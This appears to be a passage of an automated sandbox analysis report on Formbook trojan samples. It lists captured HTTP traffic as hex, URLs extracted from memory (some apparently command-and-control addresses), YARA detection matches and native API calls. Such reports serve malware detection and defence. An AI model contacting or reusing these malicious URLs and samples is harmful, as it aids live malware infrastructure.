65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/10.0X-Powered-By: ASP.NETDate: Mon, 01 Jul 2024 17:26:17 GMTConnection: closeContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/10.0X-Powered-By: ASP.NETDate: Mon, 01 Jul 2024 17:26:20 GMTConnection: closeContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 01 Jul 2024 17:27:01 GMTServer: ApacheUpgrade: h2Connection: Upgrade, closeVary: Accept-EncodingTransfer-Encoding: chunkedContent-Type: text/html; charset=utf-8Data Raw: 32 30 30 30 0d 0a 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 7a 68 22 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 6c 69 67 68 74 20 64 61 72 6b 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 66 66 66 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 0d 0a 20 20 20 20 20 20 20 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 2f 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 37 20 54 68 65 20 43 68 72 6f 6d 69 75 6d 20 41 75 74 68 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 2a 20 55 73 65 20 6f 66 20 74 68 69 73 20 73 6f 75 72 63 65 20 63 6f 64 65 20 69 73 20 67 6f 76 65 72 6e 65 64 20 62 79 20 61 20 42 53 44 2d 73 74 79 6c 65 20 6c 69 63 65 6e 73 65 20 74 68 61 74 20 63 61 6e 20 62 65 20 2a 20 66 6f 75 6e 64 20 69 6e 20 74 68 65 20 4c 49 43 45 4e 53 45 20 66 69 6c 65 2e 20 2a 2f 20 61 20 7b 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 6c 69 6e 6b 2d 63 6f 6c 6f 72 29 3b 20 7d 20 62 6f 64 79 20 7b 20 2d 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 2d 2d 65 72 72 6f 72 2d 63 6f 64 65 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 67 6f 6f 67 6c 65 2d 67 72 61 79 2d 37 30 30 29 3b 20 2d 2d 67 6f 6f 67 6c 65 2d 62 6c 75 65 2d 31 30 30 3a 20 72 67 62 28 32 31 30 2c 20 32 32 37 2c 20 32 35 32 29 3b 20 2d 2d 67 6f 6f 67 6c 65 2d 62 6c 75 65 2d 33 30 30 3a 20 72 67 62 28 31 33 38 2c 20 31 38 30 2c 20 32 34 38 29 3b 20 2d 2d 67 6f 6f 67 6c 65 2d 62 6c 75 65 2d 36 30 30 3a 20 72 67 62 28 32 36 2c 20 31 31 35 2c 20 32 33 32 29 3b 20 2d 2d 67 6f 6f 67 6c 65 2d 62 6c 75 65 2d 37 30 30 3a 20 72 67 62 28 32 35 2c 20 31 30 33 2c 20 32 31 30 29 3b 20 2d 2d 67 6f 6f 67 6c 65 2d 67 72 61 79 2d 31 30 30 3a 20 72 67 62 28 32 34 31 2c 20 32 34 33 2c 20 32 34 34 29 3b 20 2d 2d 67 6f 6f 67 6c 65 2d 67 72 61 79 2d 33 30 30 3a 20 72 67 62 28 32 31 38 2c 20 32 32 30 2c 20 32 32 34 29 3b 20 2d 2d 67 6f 6f 67 6c 65 2d 67 72 61 79 2d 35 30 30 3a 20 72 67 62 28 31 35 34 2c 20 31 36 30 2c 20 31 36 36 29 3b 20 2d 2d 67 6f 6f 67 6c 65 2d 67 72 61 79 2d 35 30 3a 20 72 67 62 28 32 34

Source: chkntfs.exe, 0000000E.00000002.3707027734.0000000005B20000.00000004.10000000.00040000.00000000.sdmp, xQUrWfQeELsQZII.exe, 00000010.00000002.3705377608.0000000004170000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://lookstudiov.com/u4jq/?Lb=GFtlIrHx8T50&FTP84=CDJU9pFFzFP5Q
Source: aj34fjqh.exe, 00000018.00000002.3098875657.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 8hd98EhtIFcYkb8.exe	String found in binary or memory: http://www.opcom.ro/rapoarte/export_csv_raportPIPsiVolumTranzactionat_PI.php?zi=
Source: 8hd98EhtIFcYkb8.exe	String found in binary or memory: http://www.opcom.ro/rapoarte/export_xml_PIPsiVolTranPI.php?zi=
Source: xQUrWfQeELsQZII.exe, 00000010.00000002.3708009401.00000000058AA000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.xn--gotopia-bya.com
Source: xQUrWfQeELsQZII.exe, 00000010.00000002.3708009401.00000000058AA000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.xn--gotopia-bya.com/ynea/
Source: chkntfs.exe, 0000000E.00000003.1618293298.0000000007968000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chkntfs.exe, 0000000E.00000003.1618293298.0000000007968000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: chkntfs.exe, 0000000E.00000003.1618293298.0000000007968000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: chkntfs.exe, 0000000E.00000003.1618293298.0000000007968000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chkntfs.exe, 0000000E.00000003.1618293298.0000000007968000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: chkntfs.exe, 0000000E.00000003.1618293298.0000000007968000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: chkntfs.exe, 0000000E.00000003.1618293298.0000000007968000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chkntfs.exe, 0000000E.00000002.3707027734.000000000648C000.00000004.10000000.00040000.00000000.sdmp, xQUrWfQeELsQZII.exe, 00000010.00000002.3705377608.0000000004ADC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://img.sedoparking.com/templates/bg/NameSiloLogo.png
Source: chkntfs.exe, 0000000E.00000002.3694875633.0000000002A1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: chkntfs.exe, 0000000E.00000002.3694875633.00000000029F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: chkntfs.exe, 0000000E.00000002.3694875633.0000000002A1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: chkntfs.exe, 0000000E.00000002.3694875633.00000000029F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: chkntfs.exe, 0000000E.00000003.1612857015.0000000007945000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: chkntfs.exe, 0000000E.00000002.3707027734.00000000062FA000.00000004.10000000.00040000.00000000.sdmp, xQUrWfQeELsQZII.exe, 00000010.00000002.3705377608.000000000494A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.cvt-auto.ru/1cpo/?FTP84=XWpmZSZkQQ3crjSg4jO9FnvqfvQgDjUUlmKrUzlk
Source: chkntfs.exe, 0000000E.00000003.1618293298.0000000007968000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chkntfs.exe, 0000000E.00000003.1618293298.0000000007968000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chkntfs.exe, 0000000E.00000002.3709714748.00000000076C0000.00000004.00000800.00020000.00000000.sdmp, chkntfs.exe, 0000000E.00000002.3707027734.000000000648C000.00000004.10000000.00040000.00000000.sdmp, xQUrWfQeELsQZII.exe, 00000010.00000002.3705377608.0000000004ADC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.namesilo.com
Source: chkntfs.exe, 0000000E.00000002.3709714748.00000000076C0000.00000004.00000800.00020000.00000000.sdmp, chkntfs.exe, 0000000E.00000002.3707027734.000000000648C000.00000004.10000000.00040000.00000000.sdmp, xQUrWfQeELsQZII.exe, 00000010.00000002.3705377608.0000000004ADC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.namesilo.com/domain/search-domains?query=ridcoredry.live
Source: xQUrWfQeELsQZII.exe, 00000010.00000002.3705377608.0000000004ADC000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.sedo.com/services/parking.php3

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 25.2.aj34fjqh.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.8hd98EhtIFcYkb8.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.8hd98EhtIFcYkb8.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.aj34fjqh.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.1431852540.0000000001110000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.3534960934.00000000018F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3691864413.0000000000590000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.3530426239.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3705299437.0000000002C50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1431338720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.3708009401.0000000005850000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3705534069.0000000004500000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1433410329.00000000020C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3705085363.0000000002DB0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: 25.2.aj34fjqh.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 3.2.8hd98EhtIFcYkb8.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 3.2.8hd98EhtIFcYkb8.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 25.2.aj34fjqh.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.1431852540.0000000001110000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000019.00000002.3534960934.00000000018F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000E.00000002.3691864413.0000000000590000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000019.00000002.3530426239.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000E.00000002.3705299437.0000000002C50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.1431338720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000010.00000002.3708009401.0000000005850000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000E.00000002.3705534069.0000000004500000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.1433410329.00000000020C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000D.00000002.3705085363.0000000002DB0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0042B533 NtClose,	3_2_0042B533
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012E2B60 NtClose,LdrInitializeThunk,	3_2_012E2B60
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012E2DF0 NtQuerySystemInformation,LdrInitializeThunk,	3_2_012E2DF0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012E2C70 NtFreeVirtualMemory,LdrInitializeThunk,	3_2_012E2C70
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012E35C0 NtCreateMutant,LdrInitializeThunk,	3_2_012E35C0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012E4340 NtSetContextThread,	3_2_012E4340
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012E4650 NtSuspendThread,	3_2_012E4650
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012E2BA0 NtEnumerateValueKey,	3_2_012E2BA0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012E2B80 NtQueryInformationFile,	3_2_012E2B80
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012E2BE0 NtQueryValueKey,	3_2_012E2BE0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012E2BF0 NtAllocateVirtualMemory,	3_2_012E2BF0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012E2AB0 NtWaitForSingleObject,	3_2_012E2AB0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012E2AF0 NtWriteFile,	3_2_012E2AF0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012E2AD0 NtReadFile,	3_2_012E2AD0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012E2D30 NtUnmapViewOfSection,	3_2_012E2D30
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012E2D00 NtSetInformationFile,	3_2_012E2D00
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012E2D10 NtMapViewOfSection,	3_2_012E2D10
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012E2DB0 NtEnumerateKey,	3_2_012E2DB0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012E2DD0 NtDelayExecution,	3_2_012E2DD0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012E2C00 NtQueryInformationProcess,	3_2_012E2C00
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012E2C60 NtCreateKey,	3_2_012E2C60
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012E2CA0 NtQueryInformationToken,	3_2_012E2CA0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012E2CF0 NtOpenProcess,	3_2_012E2CF0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012E2CC0 NtQueryVirtualMemory,	3_2_012E2CC0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012E2F30 NtCreateSection,	3_2_012E2F30
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012E2F60 NtCreateProcessEx,	3_2_012E2F60
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012E2FA0 NtQuerySection,	3_2_012E2FA0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012E2FB0 NtResumeThread,	3_2_012E2FB0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012E2F90 NtProtectVirtualMemory,	3_2_012E2F90
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012E2FE0 NtCreateFile,	3_2_012E2FE0
